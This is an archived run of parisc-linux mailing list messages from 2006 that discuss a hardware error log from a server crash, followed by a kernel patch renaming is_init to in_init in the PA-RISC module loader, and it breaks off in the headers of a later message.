
  OV  RQ  RS      ESTAT      A  C  D  corr  unc  fe  cw  pf
  --  --  --      -----      -  -  -  ----  ---  --  --  --
          X     ERR_ERROR       X            X           

Bus Requestor Address      = 0xfffffffffffa0000
Bus Target Address         = 0x0000000000000000
Bus Responder Address      = 0xfffffffffed00000

Error Status Reg           = 0x0000000000000010
Runway Control Reg         = 0x0000021c00001418
Runway Address Reg         = 0xc1bff0fffed08040
Runway Data High Reg       = 0xe840c000083c025c
Runway Data Low Reg        = 0xe840c000083c025c
Memory Address Reg         = 0x000001ff3fffffff
Memory Address Corr Reg    = 0x000001ff3fffffff
Memory Syndrome Reg        = 0x0000000000000000
Memory Syndrome Corr Reg   = 0x0000000000000000



 Address/Control Parity Error Registers  

   Address/Control Parity Error Bit (mem_addr_par_stat) Not Set 



------------  I/O Module Error Log Information  ------------

Summary of IO subsystem log entries
-----------------------------------
                        Phys Loc             Vendor  Device   Severity
Description             (hex)                 Id      Id      CORR UNC FE  CW
-----------             -----                ------  ------   ----------------
System Bus Adapter RP  0x000000ffff04ff83   0x103c  0x1051              X
System Bus Adapter RP  0x000000ffff01ff83   0x103c  0x1051              X
System Bus Adapter RP  0x000000ffff02ff83   0x103c  0x1051              X
System Bus Adapter RP  0x000000ffff03ff83   0x103c  0x1051              X


Detail display of IO subsystem log entries
------------------------------------------

System Bus Adapter --       Rope Interface
------------------------------------------

Timestamp =    Sun Sep  3 03:06:19 GMT 2006    (20:06:09:03:03:06:19)

  OV  RQ  RS      ESTAT      A  C  D  corr  unc  fe  cw  pf
  --  --  --      -----      -  -  -  ----  ---  --  --  --
               ERR_FUNCTION                      X       

IO Requestor Address    = 0x0000000000000000
IO Target Address       = 0x0000000000000000
IO Responder Address    = 0x0000000000000000
IO Physical Location    = 0x000000ffffffff82
IO Hardware Path        = 0x00ffffffffffff00

Module Error Register   = 0x0000000000000000
Rope Physical Location  = 0x000000ffff04ff83

System Bus Adapter --       Rope Interface
------------------------------------------

Timestamp =    Sun Sep  3 03:06:19 GMT 2006    (20:06:09:03:03:06:19)

  OV  RQ  RS      ESTAT      A  C  D  corr  unc  fe  cw  pf
  --  --  --      -----      -  -  -  ----  ---  --  --  --
               ERR_FUNCTION                      X       

IO Requestor Address    = 0x0000000000000000
IO Target Address       = 0x0000000000000000
IO Responder Address    = 0x0000000000000000
IO Physical Location    = 0x000000ffffffff82
IO Hardware Path        = 0x00ffffffffffff00

Module Error Register   = 0x0000000000000000
Rope Physical Location  = 0x000000ffff01ff83

System Bus Adapter --       Rope Interface
------------------------------------------

Timestamp =    Sun Sep  3 03:06:19 GMT 2006    (20:06:09:03:03:06:19)

  OV  RQ  RS      ESTAT      A  C  D  corr  unc  fe  cw  pf
  --  --  --      -----      -  -  -  ----  ---  --  --  --
               ERR_FUNCTION                      X       

IO Requestor Address    = 0x0000000000000000
IO Target Address       = 0x0000000000000000
IO Responder Address    = 0x0000000000000000
IO Physical Location    = 0x000000ffffffff82
IO Hardware Path        = 0x00ffffffffffff00

Module Error Register   = 0x0000000000000000
Rope Physical Location  = 0x000000ffff02ff83

System Bus Adapter --       Rope Interface
------------------------------------------

Timestamp =    Sun Sep  3 03:06:19 GMT 2006    (20:06:09:03:03:06:19)

  OV  RQ  RS      ESTAT      A  C  D  corr  unc  fe  cw  pf
  --  --  --      -----      -  -  -  ----  ---  --  --  --
               ERR_FUNCTION                      X       

IO Requestor Address    = 0x0000000000000000
IO Target Address       = 0x0000000000000000
IO Responder Address    = 0x0000000000000000
IO Physical Location    = 0x000000ffffffff82
IO Hardware Path        = 0x00ffffffffffff00

Module Error Register   = 0x0000000000000000
Rope Physical Location  = 0x000000ffff03ff83


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Latest palinux crash -- VM problem?
Date: Sun, 3 Sep 2006 00:30:16 -0600
Lines: 26
Approved: news@gmane.org
Message-ID: <20060903063015.GB2558@parisc-linux.org>
References: <20060903050051.GA2558@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624598 27651 80.91.229.3 (22 Nov 2014 02:49:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:58 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:28:20 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Sep 2006 06:30:26 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx036) with SMTP; 03 Sep 2006 08:30:26 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C1DD37D81A;
	Sun,  3 Sep 2006 00:30:22 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16503-07; Sun, 3 Sep 2006 00:30:22 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B6B867D80D;
	Sun,  3 Sep 2006 00:30:21 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 60E7D7D809
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Sep 2006 00:30:18 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16530-02 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 3 Sep 2006 00:30:17 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 3F3EE7D808
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Sep 2006 00:30:17 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id D068449400B; Sun,  3 Sep 2006 00:30:16 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id B29F649400A; Sun,  3 Sep 2006 00:30:16 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20060903050051.GA2558@parisc-linux.org>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: tEDJcC0wTXs9XKyRbmQ58bZKRzdyMkOt
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25306

On Sat, Sep 02, 2006 at 11:00:52PM -0600, Matthew Wilcox wrote:
> The memory error log indicates an uncorrectable error, unfortuantely I
> don't understand it enough to decode what it's saying.
> 
> Could it be a different manifestation of the same problem that bites
> PA8800?  That is, do we have the same address mapped twice and we're
> upsetting Astro by writing back cachelines that are supposed to be on
> the other CPU?
> 
> I should probably try to find Astro docs at some point so I can find out
> how much it cares about this kind of thing.

OK, got the Astro docs.  

> Error Status Reg           = 0x0000000000000010

This bit says that Astro observed a BROAD_ERROR transaction on the
Runway bus.  ie Astro didn't cause the error, it only noticed it and
went fatal in response.  It looks like CPU 0 sent the broadcast error,
so I need to try to figure out what made CPU 0 go funny.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thibaut VARENE" <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Re: [parisc-linux] Latest palinux crash -- VM problem?
Date: Sun, 3 Sep 2006 11:08:42 +0200
Lines: 48
Approved: news@gmane.org
Message-ID: <7d01f9f00609030208g602ac55fsfa0132aed011f4eb@mail.gmail.com>
References: <20060903050051.GA2558@parisc-linux.org>
	<20060903063015.GB2558@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624598 27654 80.91.229.3 (22 Nov 2014 02:49:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:58 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "Matthew Wilcox" <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:28:20 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Sep 2006 09:24:39 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx072) with SMTP; 03 Sep 2006 11:24:39 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 469147D81F;
	Sun,  3 Sep 2006 03:24:36 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17971-09; Sun, 3 Sep 2006 03:24:36 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6E7547D81B;
	Sun,  3 Sep 2006 03:24:34 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 672A47D816
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Sep 2006 03:24:30 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17825-08 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 3 Sep 2006 03:24:29 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 4370C7D814
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Sep 2006 03:24:29 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id DBDB049400B; Sun,  3 Sep 2006 03:24:28 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from py-out-1112.google.com (py-out-1112.google.com [64.233.166.176])
	by mail.parisc-linux.org (Postfix) with ESMTP id B121B49400A
	for <parisc-linux@parisc-linux.org>;
	Sun,  3 Sep 2006 03:24:28 -0600 (MDT)
Original-Received: by py-out-1112.google.com with SMTP id c39so1875696pyd
	for <parisc-linux@parisc-linux.org>;
	Sun, 03 Sep 2006 02:24:28 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=I0Q8SHJUCqiwoyNuL3pOkGcdE+jONZZYd/6hzgrYAbfXUDzxGOP0QTjgQw7soWcTa1KJg388gk1sbj4u0UIC6IoY5uBI9heMxTGFP+VfdYLHc7Y3OPk1hXEiE5+gvySPU0vG+dhSRnS3JagDAn9HwpFQEuDMFHPVQwgqKpxnBfA=
Original-Received: by 10.35.46.6 with SMTP id y6mr7286919pyj;
	Sun, 03 Sep 2006 02:08:43 -0700 (PDT)
Original-Received: by 10.35.27.7 with HTTP; Sun, 3 Sep 2006 02:08:42 -0700 (PDT)
In-Reply-To: <20060903063015.GB2558@parisc-linux.org>
Content-Disposition: inline
X-Google-Sender-Auth: 69acf281e77d9d6a
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: PPafBTwMfW4oTuWveGVoH6JmdmllcoXe
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25307

Please also review this report I posted a while ago:

http://www.pateam.org/archive/dumps/palinuxcrash20060827.txt

It looks much to me like a hardware problem. See in particular the
reported chassis log and the I/O Module Errors at the end of the dump.

HTH

T-Bone

On 9/3/06, Matthew Wilcox <matthew@wil.cx> wrote:
> On Sat, Sep 02, 2006 at 11:00:52PM -0600, Matthew Wilcox wrote:
> > The memory error log indicates an uncorrectable error, unfortuantely I
> > don't understand it enough to decode what it's saying.
> >
> > Could it be a different manifestation of the same problem that bites
> > PA8800?  That is, do we have the same address mapped twice and we're
> > upsetting Astro by writing back cachelines that are supposed to be on
> > the other CPU?
> >
> > I should probably try to find Astro docs at some point so I can find out
> > how much it cares about this kind of thing.
>
> OK, got the Astro docs.
>
> > Error Status Reg           = 0x0000000000000010
>
> This bit says that Astro observed a BROAD_ERROR transaction on the
> Runway bus.  ie Astro didn't cause the error, it only noticed it and
> went fatal in response.  It looks like CPU 0 sent the broadcast error,
> so I need to try to figure out what made CPU 0 go funny.
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>


-- 
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: ebiederm@xmission.com (Eric W. Biederman)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] Fix conflict with the is_init identifier on
	parisc
Date: Mon, 04 Sep 2006 12:24:27 -0600
Lines: 155
Approved: news@gmane.org
Message-ID: <m164g37an8.fsf_-___34456.6000429497$1416624599$gmane$org@ebiederm.dsl.xmission.com>
References: <20060901015818.42767813.akpm@osdl.org>
	<20060904114130.GN4416@stusta.de>
	<20060904134826.GF2558@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624599 27657 80.91.229.3 (22 Nov 2014 02:49:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:59 +0000 (UTC)
Cc: Andrew Morton <akpm@osdl.org>,
 Sukadev Bhattiprolu <sukadev@us.ibm.com>,
 parisc-linux@parisc-linux.org,
 linux-kernel@vger.kernel.org,
 Adrian Bunk <bunk@stusta.de>
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:28:20 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Sep 2006 20:46:26 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx089) with SMTP; 04 Sep 2006 22:46:26 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9C2AB7D96B;
	Mon,  4 Sep 2006 14:46:23 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18917-06; Mon, 4 Sep 2006 14:46:23 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D48857D96E;
	Mon,  4 Sep 2006 14:46:21 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E4B697D93B
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  4 Sep 2006 14:46:19 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19036-03 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 4 Sep 2006 14:46:18 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id B5C0A7D6B4
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  4 Sep 2006 14:46:18 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 68F7749400B; Mon,  4 Sep 2006 14:46:18 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by mail.parisc-linux.org (Postfix) with ESMTP id 3F76A494009
	for <parisc-linux@parisc-linux.org>;
	Mon,  4 Sep 2006 14:46:18 -0600 (MDT)
Original-Received: from ebiederm.dsl.xmission.com (ebiederm.dsl.xmission.com
	[166.70.28.69]) by cuprel1.hp.com (Postfix) with ESMTP id ADC93DC2
	for <parisc-linux@parisc-linux.org>;
	Mon,  4 Sep 2006 11:25:24 -0700 (PDT)
Original-Received: from ebiederm.dsl.xmission.com (localhost [127.0.0.1])
	by ebiederm.dsl.xmission.com (8.13.6/8.13.6/Debian-1) with ESMTP id
	k84IOZbO022310; Mon, 4 Sep 2006 12:24:35 -0600
Original-Received: (from eric@localhost)
	by ebiederm.dsl.xmission.com (8.13.6/8.13.6/Submit) id k84IOS9W022309; 
	Mon, 4 Sep 2006 12:24:28 -0600
X-Authentication-Warning: ebiederm.dsl.xmission.com: eric set sender to
	ebiederm@xmission.com using -f
In-Reply-To: <20060904134826.GF2558@parisc-linux.org> (Matthew Wilcox's
	message of "Mon, 4 Sep 2006 07:48:27 -0600")
User-Agent: Gnus/5.110004 (No Gnus v0.4) Emacs/21.4 (gnu/linux)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: wvmJd85RODBpUrWUfGRMHMQ1Ji9SWhIc
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25308

Matthew Wilcox <matthew@wil.cx> writes:

> On Mon, Sep 04, 2006 at 01:41:30PM +0200, Adrian Bunk wrote:
>> pidspace-is_init.patch causes the following compile error on parisc:
>> 
>> <--  snip  -->
>> 
>> ...
>>   CC      arch/parisc/kernel/module.o
>>
> /home/bunk/linux/kernel-2.6/linux-2.6.18-rc5-mm1/arch/parisc/kernel/module.c:76:
> error: conflicting types for 'is_init'
>> /home/bunk/linux/kernel-2.6/linux-2.6.18-rc5-mm1/include/linux/sched.h:1090:
> error: previous definition of 'is_init' was here
>> make[2]: *** [arch/parisc/kernel/module.o] Error 1
>> 
>> <--  snip  -->
>
> Looks like ia64 calls the same function in_init().  I'm tempted to
> change parisc to have the same name.

How does the following patch look?
Since I don't have a parisc compiler so I haven't compile tested it.
But it is a simple substitute and replace and I can't see any problems
by inspection so it should work.

----

This appears to be the only usage of is_init in the kernel
besides the usage in sched.h.   On ia64 the same function is
called in_init.    So to remove the conflict and make the kernel
more consistent rename is_init is_core is_local and is_local_section
to in_init in_core in_local and in_local_section respectively.

Thanks to Adrian Bunk who spotted this, and to Matthew Wilcox
who suggested this fix.

Singed-off-by: Eric Biederman <ebiederm@xmission.com>
---
 arch/parisc/kernel/module.c |   32 ++++++++++++++++----------------
 1 files changed, 16 insertions(+), 16 deletions(-)

diff --git a/arch/parisc/kernel/module.c b/arch/parisc/kernel/module.c
index aee3118..f50b982 100644
--- a/arch/parisc/kernel/module.c
+++ b/arch/parisc/kernel/module.c
@@ -27,7 +27,7 @@
  *    - SEGREL32 handling
  *      We are not doing SEGREL32 handling correctly. According to the ABI, we
  *      should do a value offset, like this:
- *			if (is_init(me, (void *)val))
+ *			if (in_init(me, (void *)val))
  *				val -= (uint32_t)me->module_init;
  *			else
  *				val -= (uint32_t)me->module_core;
@@ -72,27 +72,27 @@ #define MAX_GOTS	1023
 
 /* three functions to determine where in the module core
  * or init pieces the location is */
-static inline int is_init(struct module *me, void *loc)
+static inline int in_init(struct module *me, void *loc)
 {
 	return (loc >= me->module_init &&
 		loc <= (me->module_init + me->init_size));
 }
 
-static inline int is_core(struct module *me, void *loc)
+static inline int in_core(struct module *me, void *loc)
 {
 	return (loc >= me->module_core &&
 		loc <= (me->module_core + me->core_size));
 }
 
-static inline int is_local(struct module *me, void *loc)
+static inline int in_local(struct module *me, void *loc)
 {
-	return is_init(me, loc) || is_core(me, loc);
+	return in_init(me, loc) || in_core(me, loc);
 }
 
-static inline int is_local_section(struct module *me, void *loc, void *dot)
+static inline int in_local_section(struct module *me, void *loc, void *dot)
 {
-	return (is_init(me, loc) && is_init(me, dot)) ||
-		(is_core(me, loc) && is_core(me, dot));
+	return (in_init(me, loc) && in_init(me, dot)) ||
+		(in_core(me, loc) && in_core(me, dot));
 }
 
 
@@ -566,14 +566,14 @@ #endif
 			break;
 		case R_PARISC_PCREL17F:
 			/* 17-bit PC relative address */
-			val = get_stub(me, val, addend, ELF_STUB_GOT, is_init(me, loc));
+			val = get_stub(me, val, addend, ELF_STUB_GOT, in_init(me, loc));
 			val = (val - dot - 8)/4;
 			CHECK_RELOC(val, 17)
 			*loc = (*loc & ~0x1f1ffd) | reassemble_17(val);
 			break;
 		case R_PARISC_PCREL22F:
 			/* 22-bit PC relative address; only defined for pa20 */
-			val = get_stub(me, val, addend, ELF_STUB_GOT, is_init(me, loc));
+			val = get_stub(me, val, addend, ELF_STUB_GOT, in_init(me, loc));
 			DEBUGP("STUB FOR %s loc %lx+%lx at %lx\n", 
 			       strtab + sym->st_name, (unsigned long)loc, addend, 
 			       val)
@@ -670,9 +670,9 @@ #endif
 			       strtab + sym->st_name,
 			       loc, val);
 			/* can we reach it locally? */
-			if(!is_local_section(me, (void *)val, (void *)dot)) {
+			if(!in_local_section(me, (void *)val, (void *)dot)) {
 
-				if (is_local(me, (void *)val))
+				if (in_local(me, (void *)val))
 					/* this is the case where the
 					 * symbol is local to the
 					 * module, but in a different
@@ -680,14 +680,14 @@ #endif
 					 * in case it's more than 22
 					 * bits away */
 					val = get_stub(me, val, addend, ELF_STUB_DIRECT,
-						       is_init(me, loc));
+						       in_init(me, loc));
 				else if (strncmp(strtab + sym->st_name, "$$", 2)
 				    == 0)
 					val = get_stub(me, val, addend, ELF_STUB_MILLI,
-						       is_init(me, loc));
+						       in_init(me, loc));
 				else
 					val = get_stub(me, val, addend, ELF_STUB_GOT,
-						       is_init(me, loc));
+						       in_init(me, loc));
 			}
 			DEBUGP("STUB FOR %s loc %lx, val %lx+%lx at %lx\n", 
 			       strtab + sym->st_name, loc, sym->st_value,
@@ -720,7 +720,7 @@ #endif
 			break;
 		case R_PARISC_FPTR64:
 			/* 64-bit function address */
-			if(is_local(me, (void *)(val + addend))) {
+			if(in_local(me, (void *)(val + addend))) {
 				*loc64 = get_fdesc(me, val+addend);
 				DEBUGP("FDESC for %s at %p points to %lx\n",
 				       strtab + sym->st_name, *loc64,
-- 
1.4.2.rc3.g7e18e-dirty

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] On keeping history clean
Date: Tue, 12 Sep 2006 06:46:23 -0600
Lines: 58
Approved: news@gmane.org
Message-ID: <20060912124622.GM29775@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624599 27658 80.91.229.3 (22 Nov 2014 02:49:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:59 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:28:20 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Sep 2006 12:46:34 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx077) with SMTP; 12 Sep 2006 14:46:34 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CD3857D729;
	Tue, 12 Sep 2006 06:46:29 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27510-06; Tue, 12 Sep 2006 06:46:29 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 030AE7D72A;
	Tue, 12 Sep 2006 06:46:28 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
